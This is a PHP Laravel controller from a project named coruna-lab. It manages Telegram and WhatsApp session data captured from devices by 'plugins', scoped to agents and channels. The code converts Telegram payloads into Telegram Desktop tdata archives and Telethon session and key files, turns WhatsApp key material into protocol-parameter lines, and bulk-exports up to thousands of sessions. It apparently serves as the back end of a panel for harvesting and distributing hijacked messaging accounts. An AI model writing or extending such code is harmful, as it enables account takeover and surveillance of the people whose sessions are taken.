Files
coruna-lab/app/Http/Controllers/Admin/PluginSessionController.php
T
2026-10-03 05:40:19 +08:00

549 lines
21 KiB
PHP

<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\PluginSession;
use App\Models\User;
use App\Support\AgentScope;
use App\Support\WsPayloadConverter;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
class PluginSessionController extends Controller
{
use PortalAware;
public function whatsapp()
{
return $this->page(PluginSession::KIND_WHATSAPP);
}
public function telegram()
{
return $this->page(PluginSession::KIND_TELEGRAM);
}
public function whatsappData(Request $request)
{
return $this->data($request, PluginSession::KIND_WHATSAPP);
}
public function telegramData(Request $request)
{
return $this->data($request, PluginSession::KIND_TELEGRAM);
}
public function payload(PluginSession $pluginSession)
{
$this->authorizeSession($pluginSession);
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'id' => $pluginSession->id,
'kind' => $pluginSession->kind,
'payload_json' => json_encode(
$pluginSession->displayPayload(),
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
),
'download_url' => route($this->portal().'.sessions.download', $pluginSession, false),
],
]);
}
public function download(PluginSession $pluginSession)
{
$this->authorizeSession($pluginSession);
$name = $pluginSession->downloadFilename();
$path = $pluginSession->payloadPath();
if ($path !== null && Storage::disk('local')->exists($path)) {
return Storage::disk('local')->download($path, $name);
}
$json = json_encode(
$pluginSession->fullPayload(),
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
);
return response()->streamDownload(static function () use ($json) {
echo $json === false ? '{}' : $json;
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
}
/**
* Download a Telegram Desktop tdata zip for this Telegram session.
*
* Converts the tglib.js payload (state + db_sqlite) into a tdata folder
* via opentele-ng (offline, no Telegram connection), then zips it.
* Only Telegram sessions (kind=1) with a valid backupData block are
* convertible; WhatsApp sessions return 422.
*/
public function downloadTdata(PluginSession $pluginSession)
{
$this->authorizeSession($pluginSession);
if (! auth('admin')->user()?->isSuper()) {
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
}
if (! $pluginSession->isTelegram()) {
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
}
$payload = $pluginSession->fullPayload();
if (! is_array($payload) || ! isset($payload['state'])) {
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
}
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
$script = config('coruna.tdata_script', base_path('channel-builder/tools/tglib_to_tdata.py'));
if (! is_file($python) || ! is_file($script)) {
return response()->json([
'code' => 1,
'msg' => '转换环境未配置(缺少 Python 或脚本)',
], 500);
}
$tmpDir = sys_get_temp_dir().'/coruna-tdata-'.uniqid();
@mkdir($tmpDir, 0700, true);
$jsonPath = $tmpDir.'/input.json';
$zipPath = $tmpDir.'/tdata.zip';
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
.escapeshellarg($jsonPath).' '.escapeshellarg($zipPath).' 2>&1';
$output = [];
$exit = -1;
@exec($cmd, $output, $exit);
if ($exit !== 0 || ! is_file($zipPath)) {
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
@unlink($jsonPath);
if (is_file($zipPath)) @unlink($zipPath);
@rmdir($tmpDir);
return response()->json(['code' => 1, 'msg' => $msg], 500);
}
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
$filename = 'tdata-'.$account.'.zip';
$zipContents = file_get_contents($zipPath);
@unlink($jsonPath);
@unlink($zipPath);
@rmdir($tmpDir);
return response()->streamDownload(static function () use ($zipContents) {
echo $zipContents;
}, $filename, ['Content-Type' => 'application/zip']);
}
/**
* Download a Telethon session trio file (.session / .json / _密钥.txt).
*
* Converts the tglib.js payload (state + db_sqlite) into the three-file
* Telethon session format via tglib_to_session_files.py (offline).
* The `type` query param selects which file to stream back:
* - session: {phone}.session (SQLite, application/octet-stream)
* - json: {phone}.json (metadata + session_string)
* - key: {phone}_密钥.txt (session_string plain text)
* Only Telegram sessions (kind=1) with a valid backupData block are
* convertible; WhatsApp sessions return 422.
*/
public function downloadSessionFile(Request $request, PluginSession $pluginSession)
{
$this->authorizeSession($pluginSession);
if (! auth('admin')->user()?->isSuper()) {
return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403);
}
if (! $pluginSession->isTelegram()) {
return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422);
}
$type = (string) $request->query('type', 'session');
if (! in_array($type, ['session', 'json', 'key'], true)) {
$type = 'session';
}
$payload = $pluginSession->fullPayload();
if (! is_array($payload) || ! isset($payload['state'])) {
return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422);
}
$python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python'));
$script = config('coruna.session_script', base_path('channel-builder/tools/tglib_to_session_files.py'));
if (! is_file($python) || ! is_file($script)) {
return response()->json([
'code' => 1,
'msg' => '转换环境未配置(缺少 Python 或脚本)',
], 500);
}
$tmpDir = sys_get_temp_dir().'/coruna-sess-'.uniqid();
@mkdir($tmpDir, 0700, true);
$jsonPath = $tmpDir.'/input.json';
$outDir = $tmpDir.'/out';
@mkdir($outDir, 0700, true);
file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
$cmd = escapeshellarg($python).' '.escapeshellarg($script).' '
.escapeshellarg($jsonPath).' '.escapeshellarg($outDir).' 2>&1';
$output = [];
$exit = -1;
@exec($cmd, $output, $exit);
if ($exit !== 0) {
$msg = implode("\n", $output) ?: "转换失败 (exit=$exit)";
$this->rrmdir($tmpDir);
return response()->json(['code' => 1, 'msg' => $msg], 500);
}
// Locate the generated files (named {phone}.* in outDir).
$sessionFile = $jsonMeta = $keyFile = null;
foreach (glob($outDir.'/*') as $f) {
$base = basename($f);
if (str_ends_with($base, '.session')) {
$sessionFile = $f;
} elseif (str_ends_with($base, '.json')) {
$jsonMeta = $f;
} elseif (str_contains($base, '_') && str_ends_with($base, '.txt')) {
$keyFile = $f;
}
}
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
$file = $type === 'json' ? $jsonMeta : ($type === 'key' ? $keyFile : $sessionFile);
$ext = $type === 'json' ? 'json' : ($type === 'key' ? '_密钥.txt' : 'session');
$filename = $account.'.'.$ext;
$mime = $type === 'json' ? 'application/json'
: ($type === 'key' ? 'text/plain' : 'application/octet-stream');
if (! $file || ! is_file($file)) {
$this->rrmdir($tmpDir);
return response()->json(['code' => 1, 'msg' => '转换后未找到对应文件'], 500);
}
$contents = file_get_contents($file);
$this->rrmdir($tmpDir);
return response()->streamDownload(static function () use ($contents) {
echo $contents;
}, $filename, ['Content-Type' => $mime]);
}
/**
* Download a single WhatsApp session's full protocol parameters as a
* one-line NDJSON .txt file (the __ws.txt 26-field format).
*
* Only WhatsApp sessions (kind=2) with a convertible payload are
* supported; Telegram sessions return 422.
*/
public function downloadWsFull(PluginSession $pluginSession, WsPayloadConverter $converter)
{
$this->authorizeSession($pluginSession);
if (! $pluginSession->isWhatsApp()) {
return response()->json(['code' => 1, 'msg' => '仅支持 WhatsApp 会话转换'], 422);
}
$line = $converter->convertToLine($pluginSession, $pluginSession->device);
if ($line === null) {
return response()->json(['code' => 1, 'msg' => '该会话缺少必要数据,无法转换'], 422);
}
$account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id;
$filename = 'ws-'.$account.'.txt';
return response()->streamDownload(static function () use ($line) {
echo $line."\n";
}, $filename, ['Content-Type' => 'text/plain; charset=UTF-8']);
}
/**
* Recursively remove a directory (best-effort).
*/
private function rrmdir(string $dir): void
{
if (! is_dir($dir)) {
return;
}
$items = array_diff(scandir($dir) ?: [], ['.', '..']);
foreach ($items as $item) {
$path = $dir.'/'.$item;
if (is_dir($path)) {
$this->rrmdir($path);
} else {
@unlink($path);
}
}
@rmdir($dir);
}
/**
* Bulk export all sessions matching the current filter as a ZIP.
* Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor
* so memory stays flat regardless of row count or payload size.
*/
public function export(Request $request)
{
$kind = (int) $request->query('kind', PluginSession::KIND_TELEGRAM) === PluginSession::KIND_WHATSAPP
? PluginSession::KIND_WHATSAPP
: PluginSession::KIND_TELEGRAM;
$q = $this->baseQuery($request, $kind);
$total = $q->count();
if ($total === 0) {
return response()->json(['code' => 1, 'msg' => '没有可导出的数据'], 422);
}
if ($total > 2000) {
return response()->json([
'code' => 1,
'msg' => '数据量过大('.$total.' 条,上限 2000),请缩小筛选条件后再导出',
], 422);
}
$label = $kind === PluginSession::KIND_WHATSAPP ? 'ws' : 'tg';
$zipName = $label.'-sessions-'.date('Ymd-His').'.zip';
return response()->streamDownload(function () use ($q, $label) {
$tmp = tempnam(sys_get_temp_dir(), 'coruna_export_');
if ($tmp === false) {
echo '{}';
return;
}
$zip = new \ZipArchive();
if (! $zip->open($tmp, \ZipArchive::CREATE | \ZipArchive::OVERWRITE)) {
@unlink($tmp);
echo '{}';
return;
}
$usedNames = [];
foreach ($q->cursor() as $row) {
/** @var PluginSession $row */
$base = $row->downloadFilename();
// Ensure unique filename inside the ZIP.
$name = $base;
$n = 2;
while (isset($usedNames[$name])) {
$name = pathinfo($base, PATHINFO_FILENAME).'-'.$n.'.json';
$n++;
}
$usedNames[$name] = true;
$path = $row->payloadPath();
if ($path !== null && Storage::disk('local')->exists($path)) {
// addFile streams from disk — payload never enters PHP memory.
$abs = Storage::disk('local')->path($path);
if (is_string($abs) && $abs !== '' && is_file($abs)) {
$zip->addFile($abs, $name);
continue;
}
}
// Fallback: encode the DB payload (always small — it's a summary).
$json = json_encode(
$row->fullPayload(),
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
);
$zip->addFromString($name, $json === false ? '{}' : $json);
}
$zip->close();
// Stream the temp file in small chunks, then clean up.
$fp = fopen($tmp, 'rb');
if (is_resource($fp)) {
while (! feof($fp)) {
echo fread($fp, 65536);
}
fclose($fp);
}
@unlink($tmp);
}, $zipName, [
'Content-Type' => 'application/zip',
'X-Export-Count' => (string) $total,
]);
}
/**
* Bulk export WhatsApp sessions as a single NDJSON .txt file
* (one JSON object per line, 26 fields — the chk.ts / __ws.txt format).
*
* Each wap.js payload is converted on the fly: protobuf signedPreKey
* decode, libsodium curve25519 public-key derivation, and cc/country/in
* inference from the bare phone number. Sessions lacking the minimum
* key material are skipped (counted in X-Export-Skipped).
*/
public function exportWs(Request $request, WsPayloadConverter $converter)
{
$q = $this->baseQuery($request, PluginSession::KIND_WHATSAPP);
$total = $q->count();
if ($total === 0) {
return response()->json(['code' => 1, 'msg' => '没有可导出的 WhatsApp 数据'], 422);
}
if ($total > 1000) {
return response()->json([
'code' => 1,
'msg' => '数据量过大('.$total.' 条,上限 1000),请缩小时间范围后导出',
], 422);
}
$fileName = 'ws-'.date('Ymd-His').'.txt';
return response()->streamDownload(function () use ($q, $converter, &$written, &$skipped) {
$written = 0;
$skipped = 0;
foreach ($q->cursor() as $row) {
/** @var PluginSession $row */
$line = $converter->convertToLine($row, $row->device);
if ($line === null) {
$skipped++;
continue;
}
echo $line."\n";
$written++;
}
}, $fileName, [
'Content-Type' => 'text/plain; charset=UTF-8',
'X-Export-Count' => (string) $total,
'X-Export-Written' => (string) ($written ?? 0),
'X-Export-Skipped' => (string) ($skipped ?? 0),
]);
}
private function page(string $kind)
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.sessions.index', [
'portal' => $this->portal(),
'agents' => $agents,
'kind' => $kind,
'title' => (int) $kind === PluginSession::KIND_WHATSAPP ? 'WS 参数' : 'TG 参数',
]);
}
private function data(Request $request, string $kind)
{
$q = $this->baseQuery($request, $kind);
$sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('plugin_sessions.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$isSuper = (bool) auth('admin')->user()?->isSuper();
$data = collect($paginator->items())->map(function ($row) use ($portal, $isSuper) {
/** @var PluginSession $row */
$summary = $row->listSummary();
return array_merge($summary, [
'id' => $row->id,
'kind' => $row->kind,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'payload_url' => route($portal.'.sessions.payload', $row, false),
'download_url' => route($portal.'.sessions.download', $row, false),
'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
? route($portal.'.sessions.tdata', $row, false)
: '',
'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper)
? route($portal.'.sessions.session-file', $row, false)
: '',
'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP
? route($portal.'.sessions.ws-full', $row, false)
: '',
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
]);
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request, string $kind): Builder
{
$q = PluginSession::query()
->join('devices', 'devices.id', '=', 'plugin_sessions.device_id')
->where('plugin_sessions.kind', $kind)
->select([
'plugin_sessions.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$account = trim((string) $request->query('account_id', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($account !== '') {
$q->where(function (Builder $inner) use ($account) {
$inner->where('plugin_sessions.account_id', 'like', '%'.$account.'%')
->orWhere('plugin_sessions.phone', 'like', '%'.$account.'%');
});
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
$createdFrom = trim((string) $request->query('created_from', ''));
$createdTo = trim((string) $request->query('created_to', ''));
if ($createdFrom !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $createdFrom)) {
$q->whereDate('plugin_sessions.created_at', '>=', substr($createdFrom, 0, 10));
}
if ($createdTo !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $createdTo)) {
$q->whereDate('plugin_sessions.created_at', '<=', substr($createdTo, 0, 10));
}
return $q;
}
private function authorizeSession(PluginSession $session): void
{
$device = $session->device;
abort_unless($device !== null, 404);
if ($agent = $this->agent()) {
$ids = AgentScope::channelIdsFor($agent);
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
}
}
}